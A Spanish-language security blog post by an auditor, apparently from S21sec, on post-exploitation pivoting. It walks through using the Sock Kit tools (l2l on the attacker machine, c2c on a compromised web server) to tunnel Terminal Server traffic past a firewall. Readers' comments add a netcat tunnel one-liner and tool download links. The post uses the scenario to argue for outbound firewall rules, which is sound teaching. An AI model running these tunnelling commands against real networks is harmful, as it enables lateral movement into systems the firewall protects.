Español | English
rss facebook linkedin Twitter

Técnicas de Post-Explotación (I)


Desbordamientos de pila, inclusión arbitraría de ficheros, inyección de comandos, inyección de sentencias SQL, son algunas de las vulnerabilidades críticas más conocidas que permiten acceder a un sistema remoto. Hoy en día la posibilidad de que una de estas vulnerabilidades sea descubierta y pueda ser utilizada por cualquiera para acceder a un sistema remoto son altas. Es ahí donde entra en juego por un lado las medidas de seguridad implementadas para evitar la propagación de la intrusión a los demás sistemas, así como la habilidad del atacante para extender la intrusión al resto de recursos. Con el objetivo de conocer algunas de las técnicas utilizadas para este propósito, así como las medidas a tomar en cuenta para evitar sus consecuencias, comenzamos una serie de artículos sobre lo que se conoce como post explotación.

La mejor forma de entender los diferentes aspectos que engloba la post explotación, es situarnos en un posible escenario y plantearnos las cuestiones que puedan surgir. Para ello, y de forma práctica iremos analizando algunas de las técnicas de post explotación, comenzando por las mas antiguas, hasta llegar a las técnicas mas actuales.
La mayoría de sistemas que ofrecen un servicio a través de Internet ofrecen un esquema (simplificado) similar al siguiente:
Supongamos ahora que el servidor Web contiene una vulnerabilidad, como por ejemplo un RFI (Remote File Inclusion), y el atacante tras explotar la vulnerabilidad se encuentra con acceso al servidor y ejecutando comandos.
Tal y como se encuentra configurado el cortafuegos, se prohíbe el acceso desde el exterior al resto de servidores de la DMZ excepto al servicio HTTP del servidor WEB, por lo que será imposible realizar una conexión directa desde el cliente al resto de servidores. Habitualmente los administradores enfocan las reglas de los cortafuegos perimetrales para defender los equipos internos de posibles conexiones externas, obviando las reglas que impiden las conexiones salientes.

Partiendo de esta situación inicial, el objetivo del atacante es extender su intrusión hacia el resto de servidores, mientras que se espera que los elementos de seguridad funcionen y lo impidan.
Como primer método elegido para la post explotación, y que servirá para asentar las bases teóricas, se ha optado por utilizar Sock Kit. Sock Kit es un conjunto de herramientas multiplataforma implementada por Ramón Pinuaga, que a través de la creación de proxies TCP permite evadir los cortafuegos. Este toolkit esta compuesto por tres ejecutables C2C (Connect-to-Connect), L2C (Listen-to-Connect) y L2L (Listen-to-Listen).

  • C2C: nos permite unir dos conexiones salientes.

  • L2C: une una conexión entrante con una conexión saliente.

  • L2L: une dos conexiones entrantes.
Para entender como se pueden combinar estos elementos y utilizarlos en nuestro propósito, veamos un ejemplo.
En una primera fase, el atacante deberá comprobar a través de que puerto es posible salir hacia Internet, sin que el cortafuegos lo filtre. Lo normal, es encontrarse que o bien el mismo puerto 80 se encuentre abierto o el 53 de DNS. Una vez identificada la salida, se elige el servicio interno protegido por el cortafuegos sobre el que se quiere realizar la conexión. Este servicio puede ser del propio servidor Web o bien de otros servidores que hayamos identificado. Para ver un ejemplo sobre la arquitectura anterior, supongamos que el atacante quiere realizar una conexión sobre el servidor de Base de Datos al servicio de Terminal Server (puerto 3389) y que el cortafuegos no filtra el tráfico saliente por el puerto 80.
Utilizando Sock Kit, podríamos unificar una serie de conexiones creando así un túnel que permita al atacante realizar una conexión vía Terminal Service al servidor de Base de Datos. El siguiente esquema muestra como quedarían las conexiones.
Para saltarnos el filtro que impide realizar conexiones entrantes al servidor de Base de Datos, se creará una conexión inversa desde el servidor Web hacia el PC del atacante por el puerto 80, donde se canalizará todo el trafico de Terminal Service.. Para ello, en la máquina atacante utilizaremos L2L de la siguiente forma:
EquipoAtacante > ./l2l 0.0.0.0 80 0.0.0.0 3389
mediante la ejecución de este comando creamos dos sockets en modo escucha, uno en el puerto 80 que escucha en todas las interfaces de red (0.0.0.0) y por el que se espera la conexión del servidor Web atacado, y el otro en el puerto 3389 que escucha en todas las interfaces de red (0.0.0.0) esperando la conexión del cliente de Terminal Server. Por tanto L2L unirá estos dos sockets, enviando el tráfico entre ellos.
Una vez preparado el equipo atacante, utilizamos C2C en el servidor comprometido para realizar el túnel que nos permitirá conectarnos al servidor de Base de Datos. Utilizaremos C2C de la siguiente forma:
Servidor Web > ./c2c [IP_local_del_servidor_BD] 3389 [IP_publica_EquipoAtacante] 80
este comando creará dos sockets, uno que conectará con el servicio de Terminal Service del servidor de Base de Datos, y otra conexión hacia el puerto 80 del equipo atacante. C2C se encargará de transmitir el tráfico entre ambas conexiones.
Tras la ejecución de ambos comandos, ya tenemos creado el túnel que comunica el equipo atacante con el servidor de base de datos. Solo quedará iniciar el cliente de Terminal Service y conectarnos a la dirección local del equipo atacante al puerto 3389, donde se creará una conexión, tal y como se muestra en el siguiente esquema:
Como hemos visto en el ejemplo, el riesgo que supone una vulnerabilidad en un servicio público en Internet, no solo afecta al equipo que ofrece el servicio, si no al resto de equipos que comparten la subred. Por tanto es importante a la hora de implementar las medidas de seguridad, contar con dicha posibilidad. Es por este punto por el cual el alcance del estándar PCI-DSS no solo engloba a aquellos sistemas que traten directamente datos bancarios, si no a todos aquellos sistemas que se encuentren dentro de la misma DMZ.
En próximos artículos seguiremos abordando el tema de la post explotación con técnicas más modernas que facilitarán aún mas el trabajo.
Jonathan Barajas
S21sec-Auditoría

8 comentarios:

Anónimo dijo...

Excelente post.
Una cuestión, ¿podría hacerse con netcat y un par de tuberías o existe algún impedimento?

Jose Selvi dijo...

Supongo que la principal ventaja que tiene esta solución frente al uso de NetCat o NCat es que tienes que tener un binario compilado para la plataforma que has comprometido, si es un SPARC con Solaris, pues para SPARC con Solaris.

Multiplataforma supongo que es en lenguaje de script, en alguno ampliamente instalado en casi cualquier sistema que vayamos a comprometer... Perl?

Gran Post, pero... las herramientas son de libre distribución? de donde se pueden descargar?

Nacho dijo...

yo también me preguntaba lo mismo, donde se pueden conseguir esas herramientas?

Con nc puedes hacer lo que supongo que hace l2c: si tienes un puerto sin filtrar por el firewall y sin correr ningun servicion (pongamos que es el 110) y te quieres conectar a la base de datos que hay en ese mismo server puedes ejecutar en la máquina victima:
nc --tunnel=localhost:3306 -l 110
No todas las versiones de netcat tienen esta opción tampoco.

Foden dijo...

Dios Jonathan!!! como se te ha podido olvidar lo del Netcat!?!?

Jonathan dijo...

Como bien comentáis con Netcat se puede hacer lo mismo. La idea del post no es descubrir el sock kit, si no mostrar los temas de tuneling de forma diferente a lo habitual, y como auditoría tras auditoría seguimos encontrado las reglas del firewall mal configuradas.
El sock kit esta desarrollado en C y esta probada en

- Windows XP
- Windows 2000
- Linux 2.4 (I86)
- Windows NT 4.0
- Solaris 8 (Sparc)
- AIX 4.3.3
- HP/UX 11.00
- OpenBSD 3.1 (I86)

La tool es muy antigua y ya no se encuentra disponible en la página de Ramón.
Foden me este link, donde se encuentra disponible: http://www.t0s.org/code.php?option=3

Anónimo dijo...

Muy buena entrada! Quiero máás!

Newlog

Mario Díaz dijo...

Hola,

La herramienta se puede descargar de: http://www.t0s.org/code/tools/sock_kit_02.zip

Saludos,

dreyercito dijo...

Hace algo diferente al reverb que publicaron los de teso en el 2000?

http://packetstorm.linuxsecurity.com/groups/teso/index3.html


(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login